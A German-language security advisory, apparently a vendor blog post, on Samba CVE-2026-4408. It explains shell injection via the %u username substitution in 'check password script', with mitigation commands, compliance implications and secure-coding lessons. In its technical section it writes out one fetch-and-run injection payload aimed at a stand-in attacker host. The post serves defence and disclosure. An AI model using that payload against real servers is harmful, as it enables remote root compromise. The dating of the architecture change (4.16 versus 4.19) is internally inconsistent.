CVE-2026-4408: Samba SAMR-DCE/RPC RCE über `check password script` mit `%u` — wenn ein zwanzig Jahre altes Shell-Substitution-Pattern unauthentifiziert wird

TL;DR — die 90-Sekunden-Zusammenfassung

Was wurde veröffentlicht?

CVE-2026-4408 (Samba-Security-Advisory 29.05.2026, CVSS 9.0 Critical). Klasse: Remote Code Execution über Shell-Injection. Mechanismus: die SAMR-DCE/RPC-Services SamValidatePasswordChange und SamValidatePasswordReset reichen den vom Client gelieferten Benutzernamen ohne Escaping in das check password script aus smb.conf weiter, wenn dieses mit der %u-Substitution konfiguriert ist. Shell-Metazeichen im Benutzernamen werden in der Shell des Dienst-Users ausgeführt.

Wie schwer?

Kritisch (CVSS 9.0). Reichweite: Code-Ausführung als der User, unter dem samba-dcerpcd läuft — bei einer Standalone-Service-Konfiguration typischerweise Root. Eintrittsschwelle ist (a) Erreichbarkeit der SAMR-RPC-Endpoints über NCACN_IP_TCP, (b) check password script mit %u-Substitution in smb.conf konfiguriert, und (c) samba-dcerpcd im Standalone-Service-Modus betrieben (nicht der On-Demand-Default).

Welche Samba-Versionen sind betroffen?

Alle aktuell gepflegten Samba-Versionen, die samba-dcerpcd enthalten (eingeführt in Samba 4.16.0, 2022). Die kritische Konfigurations-Kombination ist „samba-dcerpcd als System-Service betrieben“ (Standalone-Modus mit rpc start on demand helpers = false) plus „check password script mit %u-Substitution“; die Samba-Security-Page nennt die exakten Fix-Stände — in jedem Fall auf den von Samba für die jeweilige Branche veröffentlichten Fix-Stand heben.

Bin ich als Moselwal-Kunde betroffen?

Moselwal selbst liefert keine Samba-File-Server-Stacks aus. Betroffen sind Sie, wenn auf einer Ihrer Plattformen oder in Ihrem Office-Netzwerk Samba mit einer der folgenden Stellungen läuft: ein Samba-File-Server (Workgroup oder Member-Server, häufig im DACH-Mittelstand als zentraler Datei-Server), ein klassischer (Non-AD-)Domain-Controller auf Samba-Basis (selten geworden, in gewachsenen Setups aber anzutreffen), und in jedem dieser Fälle nur dann, wenn (a) samba-dcerpcd als System-Service läuft und (b) in smb.conf ein check password script mit %u-Substitution konfiguriert ist. AD-Domain-Controller (Samba im AD-DC-Modus) sind nicht betroffen, weil dort der Passwort-Validierungs-Pfad anders verläuft.

Sofort-Mitigation?

Drei Schritte. Erstens, prüfen, ob ein check password script in smb.conf konfiguriert ist (testparm -sv | grep -i 'check password script'). Wenn nicht: nicht betroffen, kein operativer Druck. Zweitens, wenn ja: prüfen, ob die %u-Substitution im Script-Pfad oder in den Argumenten vorkommt. Wenn nicht: ebenfalls nicht betroffen. Drittens, wenn doch: zwei Wege — (a) auf den Samba-Fix-Stand heben (sauberster Pfad, deckt auch zukünftige Varianten ab); (b) als Stopgap die %u-Substitution aus dem Script-Aufruf entfernen und den Benutzernamen stattdessen im Script aus einer separaten, sanitisierten Quelle lesen, oder das Script ganz deaktivieren, bis der Patch greift.

Kritikalität?

Siehe Hero-Badge critical. Aktive Ausnutzung in der Wildbahn ist Stand 30.05. nicht öffentlich dokumentiert, CISA-KEV-Aufnahme ist nicht erfolgt. Methodisch identisch zu CVE-2007-2447 (Samba „username map script“ mit Metasploit-Modul) — die Wahrscheinlichkeit, dass ein Exploit-Modul innerhalb weniger Wochen verfügbar ist, ist hoch.

Was ist passiert

Das Samba-Team hat am 29. Mai 2026 eine Sicherheitsmeldung zu CVE-2026-4408 veröffentlicht — eine Remote-Code-Execution-Lücke im SAMR-DCE/RPC-Pfad mit einem CVSS-3.1-Wert von 9.0 (Critical). Der Bug sitzt in einem nicht offensichtlichen Pfad: Samba bietet auf dem SAMR-DCE/RPC-Service die Aufrufe SamValidatePasswordChange und SamValidatePasswordReset über NCACN_IP_TCP an. Beide Aufrufe nehmen vom Client einen Benutzernamen und ein Passwort entgegen und reichen diese Werte an das in smb.conf konfigurierte check password script weiter — eine über zwanzig Jahre alte Erweiterung, die Administratoren ein externes Passwort-Policy-Hook erlaubt (zum Beispiel um neue Passwörter gegen ein internes Komplexitäts-Schema oder eine Blocklist zu prüfen, bevor sie akzeptiert werden).

Der eigentliche Bug entsteht durch die %u-Substitution. Samba erlaubt im check password script die Verwendung von %u als Platzhalter für den Benutzernamen — und dieser Platzhalter wird vor dem Aufruf der Shell durch den client-kontrollierten Namen ersetzt, ohne dass Shell-Metazeichen (;, |, &&, Backticks, $()) entfernt oder gequotet werden. Ein Angreifer kann damit über einen RPC-Call einen Benutzernamen wie $(curl attacker/x | sh) mitschicken, und Samba führt den Substring beim Aufruf des Scripts in der Shell des Dienst-Users aus. Da samba-dcerpcd auf typischen Distributionen über systemd als System-Service mit Root-Rechten gestartet wird, ist das RCE als Root.

Die Patches lösen die Lücke durch konsequentes Quoten der Substitutions-Werte beim Script-Aufruf. Ergänzend rät Samba zu einer architektonischen Empfehlung: das check password script sollte überhaupt nicht mehr direkt auf %u-Werte vertrauen, sondern den Benutzernamen aus einer separaten Umgebungsvariable lesen, die vorher durch eine Allowlist gefiltert wurde.

Technische Einordnung

Strukturell ist CVE-2026-4408 ein Lehrstück: dasselbe Pattern wie CVE-2007-2447 („username map script“), nur an einer anderen RPC-Schnittstelle und achtzehn Jahre später. CVE-2007-2447 hatte denselben Mechanismus an der username map script-Konfiguration: Username-Substitution ohne Quoting, Aufruf in der Shell, RCE als der Dienst-User. Dieses Pattern wurde in einem Metasploit-Modul (exploit/multi/samba/usermap_script) standardisiert und ist bis heute eines der bekanntesten Samba-Exploits in der Pentest-Welt. Die Symmetrie zum heutigen Fall ist methodisch interessant — und unangenehm — weil sie zeigt, dass das „Substitution-in-Shell-Command“-Anti-Pattern in der Samba-Codebase über zwei Jahrzehnte hinweg an mehreren Stellen unbemerkt geblieben ist.

Die zweite methodische Pointe sitzt in der Architektur-Wahl von samba-dcerpcd. Die Komponente wurde mit Samba 4.16.0 (2022) als eigenständiges DCE/RPC-Helfer-Binary eingeführt. In der Default-Konfiguration läuft samba-dcerpcd „on demand“ — es wird von smbd oder winbind --np-helper pro Verbindung gespawnt, um named-pipe-basierte DCE/RPC-Services zu bedienen. Es kann zusätzlich im Standalone-Modus als langlebiger System-Service betrieben werden, was aber explizite Konfiguration voraussetzt: in smb.conf muss rpc start on demand helpers = false gesetzt sein, und die Distribution muss eine Service-Unit für den Standalone-Lauf bereitstellen. Die CVE-2026-4408-Beschreibung von Samba weist explizit darauf hin, dass die kritische Konfigurationsvariante diejenige mit „samba-dcerpcd als System-Service gestartet“ plus „check password script mit %u“ ist. Im On-Demand-Modus ist die Code-Lücke methodisch dieselbe, aber der Blast-Radius im langlebigen System-Service ist breiter, weil Process-State über Verbindungen hinweg persistiert.

Drittens, die Authentifizierungsfrage. Die SAMR-DCE/RPC-Endpoints können je nach Konfiguration anonymen Bind erlauben — typisch bei klassischen Workgroup-File-Servern, die SAMR für die Selbstauskunft (Liste der Shares, Benutzer-Namen-Auflösung) anbieten. In dieser Konfiguration ist der Angriff unauthentifiziert. In gehärteten Setups mit restrict anonymous = 2 und expliziter SMB-Auth-Pflicht für SAMR muss der Angreifer mindestens eine Maschinen- oder Service-Account-Authentifikation haben — was die Eintrittsschwelle für Angriffe von außen erhöht, für Insider-Lateral-Movement aber kaum eine Hürde ist.

Die Verbindung zur breiteren Mai-2026-CVE-Welle (siehe heutigen Linux-Kernel-Sammelpost und die Samba-/RPM-Block aus dem Red-Hat-Drop) ist eine eher zeitliche als kausale. Was sich aber zeigt: foundational Komponenten der Linux-Server-Welt — Samba, RPM, OpenShift Router, Keycloak — bekommen in dichter Folge Patches, die jeweils Reflexe in der Lieferketten- und Patch-Politik-Disziplin auslösen.

Bedeutung für den Mittelstand

Moselwal selbst liefert keine Samba-File-Server-Stacks aus — unsere Plattform-Spur ist TYPO3, Sylius und Symfony, nicht zentrale Dateiablage. Im breiteren DACH-Mittelstands-IT-Setting ist Samba aber omnipräsent: jeder zweite Mittelstandsbetrieb mit eigenem Office-Netz hat irgendwo einen Samba-File-Server (häufig auf Debian, Ubuntu, RHEL oder Rocky), oft als Ersatz oder Ergänzung zu einem Windows-File-Server. Die kritische Frage für Sie als Betreiber lautet damit konkret: läuft auf Ihrem File-Server ein check password script mit %u-Substitution?

In der Praxis sehen wir drei typische Konfigurationen, in denen %u auftaucht. Erstens, gewachsene Setups mit einem selbstgebauten Passwort-Policy-Hook, der gegen ein eigenes Wörterbuch prüft (häufig in IT-Abteilungen, die vor Active Directory eine eigene Passwort-Policy fahren wollten). Zweitens, Setups mit einem zentralen LDAP-Backend, in denen das check password script als Bridge zum LDAP-Passwort-Validator dient und den %u-Benutzernamen für die LDAP-Bind-DN braucht. Drittens, Logging-Hooks, die jeden Passwort-Validierungs-Versuch in eine Audit-Datei schreiben und dafür den %u als Identifikator verwenden. In allen drei Fällen ist die Lücke da, sobald die Konfiguration %u enthält.

Compliance-seitig trifft die Lücke mehrere Achsen. DSGVO Art. 32 verlangt „dem Risiko angemessene technische Maßnahmen“ — eine ungepatchte Critical-RCE auf einem Datei-Server mit personenbezogenen Daten erfüllt diese Anforderung nicht; nach Erwägungsgrund 75 ist der Vorfall ggf. meldepflichtig, sobald eine konkrete Ausnutzung nachweisbar ist. NIS-2 Art. 21 fordert für mittelgroße Unternehmen in den relevanten Sektoren konkrete Patch-Disziplin und Asset-Inventur; ein nicht im SBOM geführter Samba-File-Server ist an dieser Stelle ein Befund. KRITIS-Sektoren (insbesondere Gesundheit, Energie, Verkehr) müssen den Befund zusätzlich gegen die jeweiligen branchenspezifischen Sicherheitskataloge spiegeln — BSI B3S/KritisV.

Operativ — und das ist der Mittelstands-spezifische Punkt — ist die Inventur die eigentliche Aufgabe. Wer in den letzten fünf Jahren keinen vollständigen Audit der smb.conf-Files seines Server-Bestands hatte, weiß heute nicht zuverlässig, ob %u irgendwo steht. Ein simples Ansible-One-Liner über das Server-Inventory beantwortet die Frage in einer Stunde — wer kein Inventory hat, bekommt die Antwort über mehrere Stunden manuelle Recherche.

Bedeutung für die technische Entwicklung

Architektonisch ist CVE-2026-4408 eine Erinnerung an drei Disziplinen, die in der modernen Server-Welt oft als „erledigt“ gelten und es nicht sind.

Erstens, Shell-Substitution ist niemals safe by default. Jede Konfigurationsoption, die einen externen Wert in eine Shell-Kommandozeile substituiert, muss explizit gequotet werden — und das Quoting muss in der Komponente selbst sitzen, nicht in der Verantwortung des konfigurierenden Administrators. Samba hat das bei username map script 2007 gelernt, bei check password script 2026 nochmal. Die Lehre für eigene Softwareentwicklung: jede Substitutions-Schicht, die mit externem Input arbeitet, gehört in eine Code-Review mit der expliziten Frage „wo könnte ein Shell-Metazeichen durchkommen“. Das gilt für PHP-exec()-Wrapper, Python-subprocess-Aufrufe mit shell=True, Node.js-child_process.exec, Go-exec.Command-mit-Shell-Layer — die Liste ist lang.

Zweitens, Architektur-Änderungen vergrößern Blast-Radien stillschweigend. Der Wechsel von „SAMR im geforkten Subprozess“ zu „SAMR im langlebigen System-Service“ mit Samba 4.19 war eine saubere Modernisierungs-Entscheidung. Sie hatte den Side-Effect, dass eine RCE im SAMR-Pfad jetzt auf einen Root-Service trifft, nicht auf einen kurzlebigen Worker. Solche Architektur-Wechsel sollten in einem Threat-Modell die explizite Frage „verschiebt sich der Privilege-Boundary“ auslösen — und wenn ja, mit welchen Konsequenzen. Diese Frage steht in den Samba-Release-Notes von 4.19 nicht explizit, sie hätte gestanden werden müssen.

Drittens, alte Anti-Patterns sind nicht erledigt, nur weil ein Patch alt ist. Das username map script/check password script-Pattern ist seit 2007 bekannt. Dass dieselbe Klasse 2026 wieder auftaucht, ist kein Versagen der Maintainer (Samba hat einen guten Security-Track-Record), sondern ein Hinweis darauf, dass im Audit-Sweep Substitution-Schichten als eigene Klasse geführt werden müssen. Wer eine eigene Codebase pflegt, sollte einmal jährlich einen grep -r '%u\|%U\|$user\|substitut' . über die Konfigurations-Layer fahren und jede Fundstelle gegen die Quoting-Linie prüfen.

Konkrete Handlungsempfehlung

In dieser Reihenfolge. Erstens, Inventur heute: über das Server-Inventory (Ansible, Puppet, SaltStack, im Notfall eine Liste in einem Wiki) jeden Samba-Server identifizieren und prüfen, ob samba-dcerpcd als System-Service läuft (systemctl is-active samba-dcerpcd) und ob smb.conf ein check password script mit %u-Substitution enthält (testparm -sv 2>/dev/null | grep -A1 -i 'check password script'). Zweitens, Patch-Lauf für die getroffenen Hosts: auf den von der jeweiligen Distribution ausgelieferten Samba-Fix-Stand heben — für Debian/Ubuntu via apt, für RHEL/Rocky/Alma via dnf, für Wolfi-Container-Images den neuen Base-Image-Tag ziehen und Container neu builden. Drittens, Stopgap für Hosts, die nicht sofort patchen können: das check password script temporär deaktivieren (check password script = in smb.conf auskommentieren), Samba neu starten, in Logging-Pipeline einen Eintrag setzen, dass die Passwort-Policy bis zum Patch-Lauf nicht mehr scriptseitig validiert wird. Viertens, Logging-Sweep über die letzten 30 Tage: SAMR-RPC-Calls in den Samba-Audit-Logs auf ungewöhnliche Benutzernamen-Strings prüfen (Shell-Metazeichen, ungewöhnlich lange Strings, URL-Substrings). Wer Falco oder eine andere Runtime-Detection auf den File-Servern fährt, sollte parallel auf ungewöhnliche Process-Spawns aus samba-dcerpcd prüfen. Fünftens, mittelfristig: jede %u-Substitution in der eigenen Samba-Konfiguration ersetzen durch ein Pattern, das den Benutzernamen aus einer Umgebungsvariable liest und im Script gegen eine Allowlist filtert, bevor er weiterverwendet wird.

Wenn diese Schritte aus eigener Kraft nicht laufen, sprechen Sie mit uns: Moselwal liefert Plattformen, in denen Samba- und Identity-Infrastruktur-Komponenten in einem laufenden SBOM- und Patch-Prozess gehalten werden, nicht als jährliche Aufräum-Aktion.

Dieser Beitrag spiegelt unsere technische und strategische Einschätzung. Er ersetzt keine Rechtsberatung und keine Datenschutz-Folgenabschätzung.

Quellen

• Samba Project — CVE-2026-4408 Security Advisory (29.05.2026)
• NVD — CVE-2026-4408 (Stand 30.05.2026)
• OpenCVE — CVE-2026-4408 Detail-Seite (Stand 30.05.2026)
• Samba Project — CVE-2007-2447 Security Advisory (historischer Kontext, „username map script“, Mai 2007)